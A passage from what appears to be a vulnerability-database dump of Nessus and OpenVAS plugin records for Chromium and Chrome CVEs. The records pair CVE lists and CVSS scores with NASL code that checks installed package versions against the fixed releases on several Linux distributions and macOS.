script_set_cvss3_temporal_vector(\"CVSS:3.0/E:P/RL:O/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:debian:debian_linux:chromium\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:debian:debian_linux:10.0\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2019/12/10\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2020/01/20\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2020/01/21\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2020 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"Debian Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/Debian/release\", \"Host/Debian/dpkg-l\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"debian_package.inc\");\n\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nif (!get_kb_item(\"Host/Debian/release\")) audit(AUDIT_OS_NOT, \"Debian\");\nif (!get_kb_item(\"Host/Debian/dpkg-l\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\n\nflag = 0;\nif (deb_check(release:\"10.0\", prefix:\"chromium\", reference:\"79.0.3945.130-1~deb10u1\")) flag++;\nif (deb_check(release:\"10.0\", prefix:\"chromium-common\", reference:\"79.0.3945.130-1~deb10u1\")) flag++;\nif (deb_check(release:\"10.0\", prefix:\"chromium-driver\", reference:\"79.0.3945.130-1~deb10u1\")) flag++;\nif (deb_check(release:\"10.0\", prefix:\"chromium-l10n\", reference:\"79.0.3945.130-1~deb10u1\")) flag++;\nif (deb_check(release:\"10.0\", prefix:\"chromium-sandbox\", reference:\"79.0.3945.130-1~deb10u1\")) flag++;\nif (deb_check(release:\"10.0\", prefix:\"chromium-shell\", reference:\"79.0.3945.130-1~deb10u1\")) flag++;\n\nif (flag)\n{\n if (report_verbosity > 0) security_warning(port:0, extra:deb_report_get());\n else security_warning(0);\n exit(0);\n}\nelse audit(AUDIT_HOST_NOT, \"affected\");\n", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-02-05T19:17:27", "description": "The remote host is affected by the vulnerability described in GLSA-202003-08\n(Chromium, Google Chrome: Multiple vulnerabilities)\n\n Multiple vulnerabilities have been discovered in Chromium and Google\n Chrome. Please review the referenced CVE identifiers and Google Chrome\n Releases for details.\n \nImpact :\n\n A remote attacker could execute arbitrary code, escalate privileges,\n obtain sensitive information, spoof an URL or cause a Denial of Service\n condition.\n \nWorkaround :\n\n There is no known workaround at this time.", "edition": 3, "cvss3": {"score": 8.8, "vector": "AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"}, "published": "2020-03-13T00:00:00", "title": "GLSA-202003-08 : Chromium, Google Chrome: Multiple vulnerabilities", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2020-6408", "CVE-2020-6409", "CVE-2020-6395", "CVE-2019-13764", "CVE-2019-13763", "CVE-2019-13759", "CVE-2020-6381", "CVE-2019-13758", "CVE-2019-13730", "CVE-2020-6394", "CVE-2020-6397", "CVE-2019-13736", "CVE-2019-13745", "CVE-2020-6377", "CVE-2019-13746", "CVE-2020-6399", "CVE-2020-6392", "CVE-2020-6387", "CVE-2019-13753", "CVE-2020-6412", "CVE-2020-6389", "CVE-2019-13740", "CVE-2020-6390", "CVE-2020-6407", "CVE-2019-13728", "CVE-2019-13741", "CVE-2020-6416", "CVE-2020-6410", "CVE-2019-13742", "CVE-2020-6396", "CVE-2019-13749", "CVE-2019-13750", "CVE-2020-6385", "CVE-2019-13738", "CVE-2019-13734", "CVE-2020-6401", "CVE-2020-6414", "CVE-2019-13735", "CVE-2020-6391", "CVE-2020-6420", "CVE-2019-13724", "CVE-2020-6411", "CVE-2020-6400", "CVE-2020-6398", "CVE-2020-6388", "CVE-2020-6413", "CVE-2019-13756", "CVE-2019-13754", "CVE-2019-13723", "CVE-2019-13761", "CVE-2019-13727", "CVE-2019-13762", "CVE-2019-13726", "CVE-2020-6415", "CVE-2020-6379", "CVE-2019-13748", "CVE-2019-13755", "CVE-2020-6380", "CVE-2019-13767", "CVE-2019-13729", "CVE-2019-13732", "CVE-2020-6404", "CVE-2019-13744", "CVE-2019-13757", "CVE-2020-6382", "CVE-2020-6403", "CVE-2020-6406", "CVE-2019-13743", "CVE-2019-13751", "CVE-2019-13739", "CVE-2020-6402", "CVE-2020-6418", "CVE-2019-13725", "CVE-2019-13752", "CVE-2019-13737", "CVE-2020-6378", "CVE-2020-6393", "CVE-2019-13747"], "modified": "2020-03-13T00:00:00", "cpe": ["cpe:/o:gentoo:linux", "p-cpe:/a:gentoo:linux:google-chrome", "p-cpe:/a:gentoo:linux:chromium"], "id": "GENTOO_GLSA-202003-08.NASL", "href": "https://www.tenable.com/plugins/nessus/134475", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were\n# extracted from Gentoo Linux Security Advisory GLSA 202003-08.\n#\n# The advisory text is Copyright (C) 2001-2021 Gentoo Foundation, Inc.\n# and licensed under the Creative Commons - Attribution / Share Alike \n# license. See http://creativecommons.org/licenses/by-sa/3.0/\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(134475);\n script_version(\"1.3\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/02/04\");\n\n script_cve_id(\"CVE-2019-13723\", \"CVE-2019-13724\", \"CVE-2019-13725\", \"CVE-2019-13726\", \"CVE-2019-13727\", \"CVE-2019-13728\", \"CVE-2019-13729\", \"CVE-2019-13730\", \"CVE-2019-13732\", \"CVE-2019-13734\", \"CVE-2019-13735\", \"CVE-2019-13736\", \"CVE-2019-13737\", \"CVE-2019-13738\", \"CVE-2019-13739\", \"CVE-2019-13740\", \"CVE-2019-13741\", \"CVE-2019-13742\", \"CVE-2019-13743\", \"CVE-2019-13744\", \"CVE-2019-13745\", \"CVE-2019-13746\", \"CVE-2019-13747\", \"CVE-2019-13748\", \"CVE-2019-13749\", \"CVE-2019-13750\", \"CVE-2019-13751\", \"CVE-2019-13752\", \"CVE-2019-13753\", \"CVE-2019-13754\", \"CVE-2019-13755\", \"CVE-2019-13756\", \"CVE-2019-13757\", \"CVE-2019-13758\", \"CVE-2019-13759\", \"CVE-2019-13761\", \"CVE-2019-13762\", \"CVE-2019-13763\", \"CVE-2019-13764\", \"CVE-2019-13767\", \"CVE-2020-6377\", \"CVE-2020-6378\", \"CVE-2020-6379\", \"CVE-2020-6380\", \"CVE-2020-6381\", \"CVE-2020-6382\", \"CVE-2020-6385\", \"CVE-2020-6387\", \"CVE-2020-6388\", \"CVE-2020-6389\", \"CVE-2020-6390\", \"CVE-2020-6391\", \"CVE-2020-6392\", \"CVE-2020-6393\", \"CVE-2020-6394\", \"CVE-2020-6395\", \"CVE-2020-6396\", \"CVE-2020-6397\", \"CVE-2020-6398\", \"CVE-2020-6399\", \"CVE-2020-6400\", \"CVE-2020-6401\", \"CVE-2020-6402\", \"CVE-2020-6403\", \"CVE-2020-6404\", \"CVE-2020-6406\", \"CVE-2020-6407\", \"CVE-2020-6408\", \"CVE-2020-6409\", \"CVE-2020-6410\", \"CVE-2020-6411\", \"CVE-2020-6412\", \"CVE-2020-6413\", \"CVE-2020-6414\", \"CVE-2020-6415\", \"CVE-2020-6416\", \"CVE-2020-6418\", \"CVE-2020-6420\");\n script_xref(name:\"GLSA\", value:\"202003-08\");\n\n script_name(english:\"GLSA-202003-08 : Chromium, Google Chrome: Multiple vulnerabilities\");\n script_summary(english:\"Checks for updated package(s) in /var/db/pkg\");\n\n script_set_attribute(\n attribute:\"synopsis\",\n value:\n\"The remote Gentoo host is missing one or more security-related\npatches.\"\n );\n script_set_attribute(\n attribute:\"description\",\n value:\n\"The remote host is affected by the vulnerability described in GLSA-202003-08\n(Chromium, Google Chrome: Multiple vulnerabilities)\n\n Multiple vulnerabilities have been discovered in Chromium and Google\n Chrome. Please review the referenced CVE identifiers and Google Chrome\n Releases for details.\n \nImpact :\n\n A remote attacker could execute arbitrary code, escalate privileges,\n obtain sensitive information, spoof an URL or cause a Denial of Service\n condition.\n \nWorkaround :\n\n There is no known workaround at this time.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://security.gentoo.org/glsa/202003-08\"\n );\n script_set_attribute(\n attribute:\"solution\",\n value:\n\"All Chromium users should upgrade to the latest version:\n # emerge --sync\n # emerge --ask --oneshot --verbose\n '>=www-client/chromium-80.0.3987.132'\n All Google Chrome users should upgrade to the latest version:\n # emerge --sync\n # emerge --ask --oneshot --verbose\n '>=www-client/google-chrome-80.0.3987.132'\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:H/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:H/RL:O/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"exploited_by_malware\", value:\"true\");\n script_set_attribute(attribute:\"metasploit_name\", value:'Google Chrome 80 JSCreate side-effect type confusion exploit');\n script_set_attribute(attribute:\"exploit_framework_metasploit\", value:\"true\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:gentoo:linux:chromium\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:gentoo:linux:google-chrome\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:gentoo:linux\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2019/11/25\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2020/03/13\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2020/03/13\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2020-2021 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"Gentoo Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/Gentoo/release\", \"Host/Gentoo/qpkg-list\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"qpkg.inc\");\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nif (!get_kb_item(\"Host/Gentoo/release\")) audit(AUDIT_OS_NOT, \"Gentoo\");\nif (!get_kb_item(\"Host/Gentoo/qpkg-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\n\nflag = 0;\n\nif (qpkg_check(package:\"www-client/chromium\", unaffected:make_list(\"ge 80.0.3987.132\"), vulnerable:make_list(\"lt 80.0.3987.132\"))) flag++;\nif (qpkg_check(package:\"www-client/google-chrome\", unaffected:make_list(\"ge 80.0.3987.132\"), vulnerable:make_list(\"lt 80.0.3987.132\"))) flag++;\n\nif (flag)\n{\n if (report_verbosity > 0) security_hole(port:0, extra:qpkg_report_get());\n else security_hole(0);\n exit(0);\n}\nelse\n{\n tested = qpkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"Chromium / Google Chrome\");\n}\n", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "openvas": [{"lastseen": "2020-01-14T14:48:07", "bulletinFamily": "scanner", "cvelist": ["CVE-2019-13764", "CVE-2019-13763", "CVE-2019-13759", "CVE-2019-13758", "CVE-2019-13730", "CVE-2019-13736", "CVE-2019-13745", "CVE-2019-13746", "CVE-2019-13753", "CVE-2019-13740", "CVE-2019-13728", "CVE-2019-13741", "CVE-2019-13742", "CVE-2019-13749", "CVE-2019-13750", "CVE-2019-13738", "CVE-2019-13734", "CVE-2019-13735", "CVE-2019-13756", "CVE-2019-13754", "CVE-2019-13761", "CVE-2019-13727", "CVE-2019-13762", "CVE-2019-13726", "CVE-2019-13748", "CVE-2019-13755", "CVE-2019-13729", "CVE-2019-13732", "CVE-2019-13744", "CVE-2019-13757", "CVE-2019-13743", "CVE-2019-13751", "CVE-2019-13739", "CVE-2019-13725", "CVE-2019-13752", "CVE-2019-13737", "CVE-2019-13747"], "description": "The remote host is missing an update for the ", "modified": "2020-01-13T00:00:00", "published": "2020-01-09T00:00:00", "id": "OPENVAS:1361412562310877318", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310877318", "type": "openvas", "title": "Fedora Update for chromium FEDORA-2019-1a10c04281", "sourceData": "# Copyright (C) 2020 Greenbone Networks GmbH\n# Text descriptions are largely excerpted from the referenced\n# advisory, and are Copyright (C) the respective author(s)\n#\n# SPDX-License-Identifier: GPL-2.0-or-later\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.877318\");\n script_version(\"2020-01-13T11:49:13+0000\");\n script_cve_id(\"CVE-2019-13725\", \"CVE-2019-13726\", \"CVE-2019-13727\", \"CVE-2019-13728\", \"CVE-2019-13729\", \"CVE-2019-13730\", \"CVE-2019-13732\", \"CVE-2019-13734\", \"CVE-2019-13735\", \"CVE-2019-13764\", \"CVE-2019-13736\", \"CVE-2019-13737\", \"CVE-2019-13738\", \"CVE-2019-13739\", \"CVE-2019-13740\", \"CVE-2019-13741\", \"CVE-2019-13742\", \"CVE-2019-13743\", \"CVE-2019-13744\", \"CVE-2019-13745\", \"CVE-2019-13746\", \"CVE-2019-13747\", \"CVE-2019-13748\", \"CVE-2019-13749\", \"CVE-2019-13750\", \"CVE-2019-13751\", \"CVE-2019-13752\", \"CVE-2019-13753\", \"CVE-2019-13754\", \"CVE-2019-13755\", \"CVE-2019-13756\", \"CVE-2019-13757\", \"CVE-2019-13758\", \"CVE-2019-13759\", \"CVE-2019-13761\", \"CVE-2019-13762\", \"CVE-2019-13763\");\n script_tag(name:\"cvss_base\", value:\"6.8\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:M/Au:N/C:P/I:P/A:P\");\n script_tag(name:\"last_modification\", value:\"2020-01-13 11:49:13 +0000 (Mon, 13 Jan 2020)\");\n script_tag(name:\"creation_date\", value:\"2020-01-09 07:37:33 +0000 (Thu, 09 Jan 2020)\");\n script_name(\"Fedora Update for chromium FEDORA-2019-1a10c04281\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2020 Greenbone Networks GmbH\");\n script_family(\"Fedora Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/fedora\", \"ssh/login/rpms\", re:\"ssh/login/release=FC31\");\n\n script_xref(name:\"FEDORA\", value:\"2019-1a10c04281\");\n script_xref(name:\"URL\", value:\"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/2Z5M4FPUMDNX2LDPHJKN5ZV5GIS2AKNU\");\n\n script_tag(name:\"summary\", value:\"The remote host is missing an update for the 'chromium'\n package(s) announced via the FEDORA-2019-1a10c04281 advisory.\");\n\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable package version is present on the target host.\");\n\n script_tag(name:\"insight\", value:\"Chromium is an open-source web browser, powered by WebKit (Blink).\");\n\n script_tag(name:\"affected\", value:\"'chromium' package(s) on Fedora 31.\");\n\n script_tag(name:\"solution\", value:\"Please install the updated package(s).\");\n\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_tag(name:\"qod_type\", value:\"package\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-rpm.inc\");\n\nrelease = rpm_get_ssh_release();\nif(!release)\n exit(0);\n\nres = \"\";\nreport = \"\";\n\nif(release == \"FC31\") {\n\n if(!isnull(res = isrpmvuln(pkg:\"chromium\", rpm:\"chromium~79.0.3945.79~1.fc31\", rls:\"FC31\"))) {\n report += res;\n }\n\n if(report != \"\") {\n security_message(data:report);\n } else if (__pkg_match) {\n exit(99);\n }\n exit(0);\n}\n\nexit(0);", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2019-12-19T14:38:11", "bulletinFamily": "scanner", "cvelist": ["CVE-2019-13764", "CVE-2019-13763", "CVE-2019-13759", "CVE-2019-13758", "CVE-2019-13730", "CVE-2019-13736", "CVE-2019-13745", "CVE-2019-13746", "CVE-2019-13753", "CVE-2019-13740", "CVE-2019-13728", "CVE-2019-13741", "CVE-2019-13742", "CVE-2019-13749", "CVE-2019-13750", "CVE-2019-13738", "CVE-2019-13734", "CVE-2019-13735", "CVE-2019-13756", "CVE-2019-13754", "CVE-2019-13761", "CVE-2019-13727", "CVE-2019-13762", "CVE-2019-13726", "CVE-2019-13748", "CVE-2019-13755", "CVE-2019-13729", "CVE-2019-13732", "CVE-2019-13744", "CVE-2019-13757", "CVE-2019-13743", "CVE-2019-13751", "CVE-2019-13739", "CVE-2019-13725", "CVE-2019-13752", "CVE-2019-13737", "CVE-2019-13747"], "description": "The host is installed with Google Chrome\n and is prone to multiple vulnerabilities.", "modified": "2019-12-18T00:00:00", "published": "2019-12-12T00:00:00", "id": "OPENVAS:1361412562310815873", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310815873", "type": "openvas", "title": "Google Chrome Security Updates(stable-channel-update-for-desktop-2019-12)-MAC OS X", "sourceData": "# Copyright (C) 2019 Greenbone Networks GmbH\n# Text descriptions are largely excerpted from the referenced\n# advisory, and are Copyright (C) the respective author(s)\n#\n# SPDX-License-Identifier: GPL-2.0-or-later\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA\n\n\nCPE = \"cpe:/a:google:chrome\";\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.815873\");\n script_version(\"2019-12-18T09:57:42+0000\");\n script_cve_id(\"CVE-2019-13725\", \"CVE-2019-13726\", \"CVE-2019-13727\", \"CVE-2019-13728\",\n \"CVE-2019-13729\", \"CVE-2019-13730\", \"CVE-2019-13732\", \"CVE-2019-13734\",\n \"CVE-2019-13735\", \"CVE-2019-13764\", \"CVE-2019-13736\", \"CVE-2019-13737\",\n \"CVE-2019-13738\", \"CVE-2019-13739\", \"CVE-2019-13740\", \"CVE-2019-13741\",\n \"CVE-2019-13742\", \"CVE-2019-13743\", \"CVE-2019-13744\", \"CVE-2019-13745\",\n \"CVE-2019-13746\", \"CVE-2019-13747\", \"CVE-2019-13748\", \"CVE-2019-13749\",\n \"CVE-2019-13750\", \"CVE-2019-13751\", \"CVE-2019-13752\", \"CVE-2019-13753\",\n \"CVE-2019-13754\", \"CVE-2019-13755\", \"CVE-2019-13756\", \"CVE-2019-13757\",\n \"CVE-2019-13758\", \"CVE-2019-13759\", \"CVE-2019-13761\", \"CVE-2019-13762\",\n \"CVE-2019-13763\");\n script_tag(name:\"cvss_base\", value:\"6.8\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:M/Au:N/C:P/I:P/A:P\");\n script_tag(name:\"last_modification\", value:\"2019-12-18 09:57:42 +0000 (Wed, 18 Dec 2019)\");\n script_tag(name:\"creation_date\", value:\"2019-12-12 12:30:31 +0530 (Thu, 12 Dec 2019)\");\n script_name(\"Google Chrome Security Updates(stable-channel-update-for-desktop-2019-12)-MAC OS X\");\n\n script_tag(name:\"summary\", value:\"The host is installed with Google Chrome\n and is prone to multiple vulnerabilities.\");\n\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable version is present\n on the target host.\");\n\n script_tag(name:\"insight\", value:\"Multiple flaws are due to,\n\n - Multiple use after free errors in Bluetooth, WebSockets, WebAudio.\n\n - A heap buffer overflow error in password manager.\n\n - An insufficient policy enforcement in WebSockets.\n\n - Multiple out of bounds write errors in V8, SQLite.\n\n - A type confusion error in V8.\n\n - An integer overflow error in PDFium.\n\n - An insufficient policy enforcement in autocomplete, navigation, cookies, audio, omnibox, developer tools, extensions, downloads and payments.\n\n - An incorrect security UI in Omnibox, sharing, external protocol handling, printing, interstitials.\n\n - An insufficient validation of untrusted input in Blink.\n\n - An uninitialized use in rendering.\n\n - An insufficient data validation in SQLite.\n\n - An uninitialized use in SQLite.\");\n\n script_tag(name:\"impact\", value:\"Successful exploitation will allow attackers\n to disclose sensitive information, execute arbitrary code, bypass security\n restrictions and cause denial of service condition.\");\n\n script_tag(name:\"affected\", value:\"Google Chrome version prior to 79.0.3945.79 on Windows\");\n\n script_tag(name:\"solution\", value:\"Upgrade to Google Chrome version 79.0.3945.79\n or later. Please see the references for more information.\");\n\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_tag(name:\"qod_type\", value:\"executable_version\");\n script_xref(name:\"URL\", value:\"https://chromereleases.googleblog.com/2019/12/stable-channel-update-for-desktop.html\");\n script_xref(name:\"URL\", value:\"https://www.google.com/chrome\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2019 Greenbone Networks GmbH\");\n script_family(\"General\");\n script_dependencies(\"gb_google_chrome_detect_macosx.nasl\");\n script_mandatory_keys(\"GoogleChrome/MacOSX/Version\");\n exit(0);\n}\n\n\ninclude(\"host_details.inc\");\ninclude(\"version_func.inc\");\n\nif(!infos = get_app_version_and_location(cpe:CPE, exit_no_version:TRUE)) exit(0);\nchr_ver = infos['version'];\nchr_path = infos['location'];\n\nif(version_is_less(version:chr_ver, test_version:\"79.0.3945.79\"))\n{\n report = report_fixed_ver(installed_version:chr_ver, fixed_version:\"79.0.3945.79\", install_path:chr_path);\n security_message(data:report);\n exit(0);\n}\nexit(99);\n", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-01-31T16:28:01", "bulletinFamily": "scanner", "cvelist": ["CVE-2019-13764", "CVE-2019-13763", "CVE-2019-13759", "CVE-2019-13758", "CVE-2019-13730", "CVE-2019-13736", "CVE-2019-13745", "CVE-2019-13746", "CVE-2019-13753", "CVE-2019-13740", "CVE-2019-13728", "CVE-2019-13741", "CVE-2019-13742", "CVE-2019-13749", "CVE-2019-13750", "CVE-2019-13738", "CVE-2019-13734", "CVE-2019-13735", "CVE-2019-13756", "CVE-2019-13754", "CVE-2019-13761", "CVE-2019-13727", "CVE-2019-13762", "CVE-2019-13726", "CVE-2019-13748", "CVE-2019-13755", "CVE-2019-13729", "CVE-2019-13732", "CVE-2019-13744", "CVE-2019-13757", "CVE-2019-13743", "CVE-2019-13751", "CVE-2019-13739", "CVE-2019-13725", "CVE-2019-13752", "CVE-2019-13737", "CVE-2019-13747"], "description": "The remote host is missing an update for the ", "modified": "2020-01-31T00:00:00", "published": "2020-01-09T00:00:00", "id": "OPENVAS:1361412562310852858", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310852858", "type": "openvas", "title": "openSUSE: Security Advisory for chromium (openSUSE-SU-2019:2692-1)", "sourceData": "# Copyright (C) 2020 Greenbone Networks GmbH\n# Text descriptions are largely excerpted from the referenced\n# advisory, and are Copyright (C) the respective author(s)\n#\n# SPDX-License-Identifier: GPL-2.0-or-later\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.852858\");\n script_version(\"2020-01-31T08:04:39+0000\");\n script_cve_id(\"CVE-2019-13725\", \"CVE-2019-13726\", \"CVE-2019-13727\", \"CVE-2019-13728\",\n \"CVE-2019-13729\", \"CVE-2019-13730\", \"CVE-2019-13732\", \"CVE-2019-13734\",\n \"CVE-2019-13735\", \"CVE-2019-13736\", \"CVE-2019-13737\", \"CVE-2019-13738\",\n \"CVE-2019-13739\", \"CVE-2019-13740\", \"CVE-2019-13741\", \"CVE-2019-13742\",\n \"CVE-2019-13743\", \"CVE-2019-13744\", \"CVE-2019-13745\", \"CVE-2019-13746\",\n \"CVE-2019-13747\", \"CVE-2019-13748\", \"CVE-2019-13749\", \"CVE-2019-13750\",\n \"CVE-2019-13751\", \"CVE-2019-13752\", \"CVE-2019-13753\", \"CVE-2019-13754\",\n \"CVE-2019-13755\", \"CVE-2019-13756\", \"CVE-2019-13757\", \"CVE-2019-13758\",\n \"CVE-2019-13759\", \"CVE-2019-13761\", \"CVE-2019-13762\", \"CVE-2019-13763\",\n \"CVE-2019-13764\");\n script_tag(name:\"cvss_base\", value:\"6.8\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:M/Au:N/C:P/I:P/A:P\");\n script_tag(name:\"last_modification\", value:\"2020-01-31 08:04:39 +0000 (Fri, 31 Jan 2020)\");\n script_tag(name:\"creation_date\", value:\"2020-01-09 09:37:25 +0000 (Thu, 09 Jan 2020)\");\n script_name(\"openSUSE: Security Advisory for chromium (openSUSE-SU-2019:2692-1)\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2020 Greenbone Networks GmbH\");\n script_family(\"SuSE Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/suse\", \"ssh/login/rpms\", re:\"ssh/login/release=openSUSELeap15\\.1\");\n\n script_xref(name:\"openSUSE-SU\", value:\"2019:2692-1\");\n script_xref(name:\"URL\", value:\"https://lists.opensuse.org/opensuse-security-announce/2019-12/msg00034.html\");\n\n script_tag(name:\"summary\", value:\"The remote host is missing an update for the 'chromium'\n package(s) announced via the openSUSE-SU-2019:2692-1 advisory.\");\n\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable package version is present on the target host.\");\n\n script_tag(name:\"insight\", value:\"This update for chromium fixes the following issues:\n\n Chromium was updated to 79.0.3945.79 (boo#1158982)\n\n - CVE-2019-13725: Fixed a use after free in Bluetooth\n\n - CVE-2019-13726: Fixed a heap buffer overflow in password manager\n\n - CVE-2019-13727: Fixed an insufficient policy enforcement in WebSockets\n\n - CVE-2019-13728: Fixed an out of bounds write in V8\n\n - CVE-2019-13729: Fixed a use after free in WebSockets\n\n - CVE-2019-13730: Fixed a type Confusion in V8\n\n - CVE-2019-13732: Fixed a use after free in WebAudio\n\n - CVE-2019-13734: Fixed an out of bounds write in SQLite\n\n - CVE-2019-13735: Fixed an out of bounds write in V8\n\n - CVE-2019-13764: Fixed a type Confusion in V8\n\n - CVE-2019-13736: Fixed an integer overflow in PDFium\n\n - CVE-2019-13737: Fixed an insufficient policy enforcement in autocomplete\n\n - CVE-2019-13738: Fixed an insufficient policy enforcement in navigation\n\n - CVE-2019-13739: Fixed an incorrect security UI in Omnibox\n\n - CVE-2019-13740: Fixed an incorrect security UI in sharing\n\n - CVE-2019-13741: Fixed an insufficient validation of untrusted input in\n Blink\n\n - CVE-2019-13742: Fixed an incorrect security UI in Omnibox\n\n - CVE-2019-13743: Fixed an incorrect security UI in external protocol\n handling\n\n - CVE-2019-13744: Fixed an insufficient policy enforcement in cookies\n\n - CVE-2019-13745: Fixed an insufficient policy enforcement in audio\n\n - CVE-2019-13746: Fixed an insufficient policy enforcement in Omnibox\n\n - CVE-2019-13747: Fixed an uninitialized Use in rendering\n\n - CVE-2019-13748: Fixed an insufficient policy enforcement in developer\n tools\n\n - CVE-2019-13749: Fixed an incorrect security UI in Omnibox\n\n - CVE-2019-13750: Fixed an insufficient data validation in SQLite\n\n - CVE-2019-13751: Fixed an uninitialized Use in SQLite\n\n - CVE-2019-13752: Fixed an out of bounds read in SQLite\n\n - CVE-2019-13753: Fixed an out of bounds read in SQLite\n\n - CVE-2019-13754: Fixed an insufficient policy enforcement in extensions\n\n - CVE-2019-13755: Fixed an insufficient policy enforcement in extensions\n\n - 